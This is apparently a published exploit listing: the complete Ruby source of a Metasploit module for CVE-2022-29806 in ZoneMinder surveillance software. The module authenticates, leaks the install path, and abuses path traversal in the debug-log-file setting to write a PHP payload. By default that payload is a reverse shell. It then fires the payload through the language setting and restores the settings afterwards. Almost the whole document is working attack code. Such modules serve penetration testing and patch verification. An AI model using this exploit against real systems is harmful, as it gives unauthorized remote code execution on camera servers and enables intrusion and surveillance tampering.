Headline
ZoneMinder Language Settings Remote Code Execution
This Metasploit module exploits an arbitrary file write in the debug log file option chained with a path traversal in the language settings that leads to remote code execution in ZoneMinder surveillance software versions before 1.36.13 and before 1.37.11
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'ZoneMinder Language Settings Remote Code Execution', 'Description' => %q{ This module exploits arbitrary file write in debug log file option chained with a path traversal in language settings that leads to a remote code execution in ZoneMinder surveillance software versions before 1.36.13 and before 1.37.11 }, 'License' => MSF_LICENSE, 'Author' => [ 'krastanoel' ], # Discovery and exploit 'References' => [ [ 'CVE', '2022-29806' ], [ 'URL', 'https://krastanoel.com/cve/2022-29806'] ], 'Platform' => ['php'], 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2022-04-27', 'DefaultTarget' => 0, 'DefaultOptions' => { 'Payload' => 'php/reverse_perl', 'Encoder' => 'php/base64' }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('USERNAME', [true, 'The ZoneMinder username', 'admin']), OptString.new('PASSWORD', [true, 'The ZoneMinder password', 'admin']), OptString.new('TARGETURI', [true, 'The ZoneMinder path', '/zm/']) ]) end def check res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, '/index.php'), 'method' => 'GET' ) return Exploit::CheckCode::Unknown('No response from the web service') if res.nil? return Exploit::CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200 if res.body =~ /ZoneMinder/ csrf_magic = get_csrf_magic(res) res = authenticate(csrf_magic) if res.body =~ /ZoneMinder Login/ return Exploit::CheckCode::Safe('Authentication failed') if res.body =~ %r{<title>ZM - Login</title>} res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, '/index.php'), 'method' => 'GET', 'keep_cookies' => true ) else return Exploit::CheckCode::Safe('Target is not a ZoneMinder web server') end res.body.match(/v(1.\d+.\d+)/) version = Regexp.last_match(1) unless version return Exploit::CheckCode::Safe('Unable to determine ZoneMinder version') end version = Rex::Version.new(version) return Exploit::CheckCode::Appears("Version Detected: #{version}") if version <= Rex::Version.new('1.37.10') Exploit::CheckCode::Safe("Version Detected: #{version}") rescue ::Rex::ConnectionError return Exploit::CheckCode::Unknown('Could not connect to the web service') end def exploit unless datastore['AutoCheck'] cookie_jar.clear res = authenticate fail_with(Failure::NoAccess, 'Authentication failed') if res&.body =~ %r{<title>ZM - Login</title>} end vprint_status('Leak installation directory path') random_path = rand_text_alphanumeric(6..15) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, '/index.php'), 'method' => 'GET', 'keep_cookies' => true, 'vars_get' => { 'view' => random_path } ) fail_with(Failure::UnexpectedReply, 'Failed to leak install path') unless res res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, '/index.php'), 'method' => 'GET', 'keep_cookies' => true, 'vars_get' => { 'view' => 'options' } ) csrf_magic = get_csrf_magic(res) current_lang = res&.get_html_document&.at( 'select[@name="newConfig[ZM_LANG_DEFAULT]"] option[@selected="selected"]' )&.text fail_with(Failure::UnexpectedReply, 'Unable to get current language') if res.nil? || current_lang.nil? data = 'view=request&request=log&task=query&limit=10' data += "&__csrf_magic=#{csrf_magic}" if csrf_magic res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/index.php'), 'data' => data.to_s, 'keep_cookies' => true ) fail_with(Failure::UnexpectedReply, 'Unable to get valid JSON response') if res.nil? || res&.body.blank? res.body.match(/(\{"result":.*})/) request_log = JSON.parse(Regexp.last_match(1)).with_indifferent_access if request_log.key?(:rows) # Check for latest version key first v1.36.x request_log_key = 'rows' elsif request_log.key?(:logs) request_log_key = 'logs' else fail_with(Failure::UnexpectedReply, 'Service found, but unable to find request log key') end request_log = request_log[request_log_key].select { |e| e['Message'] =~ /'#{random_path}'/ }.first if request_log path = request_log['File'].split('/')[0..-2].join('/') vprint_good("Path: #{path}") else fail_with(Failure::UnexpectedReply, 'Service found, but unable to leak installation directory path') end fname = "#{rand_text_alphanumeric(6..15)}.php" traverse_path = "#{path}/lang".split('/')[1..].map { '../' }.join shell = "#{traverse_path}tmp/#{fname}" data = "view=options&tab=logging&action=options&newConfig[ZM_LOG_DEBUG]=1&newConfig[ZM_LOG_DEBUG_FILE]=#{shell}" data += "&__csrf_magic=#{csrf_magic}" if csrf_magic res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/index.php'), 'data' => data.to_s, 'keep_cookies' => true ) fail_with(Failure::UnexpectedReply, 'Unable to set LOG_DEBUG_FILE option') if res.nil? || res&.code != 302 vprint_good("Shell: #{shell}") p = %(<?php #{payload.encoded} ?>) data = "view=request&request=log&task=create&level=ERR&message=#{p}&file=#{shell}" data += "&__csrf_magic=#{csrf_magic}" if csrf_magic res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/index.php'), 'data' => data.to_s, 'keep_cookies' => true ) fail_with(Failure::UnexpectedReply, 'Failed to receive a response') unless res result = JSON.parse(res.body)['result'] fail_with(Failure::UnexpectedReply, 'Failed to write payload') unless result fail_with(Failure::UnexpectedReply, 'Unable to write payload to LOG_DEBUG_FILE') if result != 'Ok' # trigger the shell lang = shell.gsub(/\.php/, '') data = "view=options&tab=system&action=options&newConfig[ZM_LANG_DEFAULT]=#{lang}" data += "&__csrf_magic=#{csrf_magic}" if csrf_magic res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/index.php'), 'data' => data.to_s, 'keep_cookies' => true ) fail_with(Failure::UnexpectedReply, 'Unable to trigger the payload') if res.nil? || res&.code != 302 # cleanup data = Rack::Utils.parse_nested_query(data) data['newConfig']['ZM_LANG_DEFAULT'] = current_lang res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/index.php'), 'data' => data.to_query, 'keep_cookies' => true ) vprint_warning('Unable to reset language to default') if res.nil? || res&.code != 200 data['tab'] = 'logging' data['newConfig']['ZM_LOG_DEBUG'] = 0 data['newConfig']['ZM_LOG_DEBUG_FILE'] = '' res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/index.php'), 'data' => data.to_query, 'keep_cookies' => true ) vprint_warning('Unable to reset debug option') if res.nil? || res&.code != 302 rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end private def get_csrf_magic(res) return if res.nil? res.get_html_document.at('//input[@name="__csrf_magic"]/@value')&.text end def authenticate(csrf_magic = nil) username = datastore['USERNAME'] password = datastore['PASSWORD'] data = "action=login&view=login&username=#{username}&password=#{password}" data += "&__csrf_magic=#{csrf_magic}" if csrf_magic send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/index.php'), 'data' => data.to_s, 'keep_cookies' => true }) endend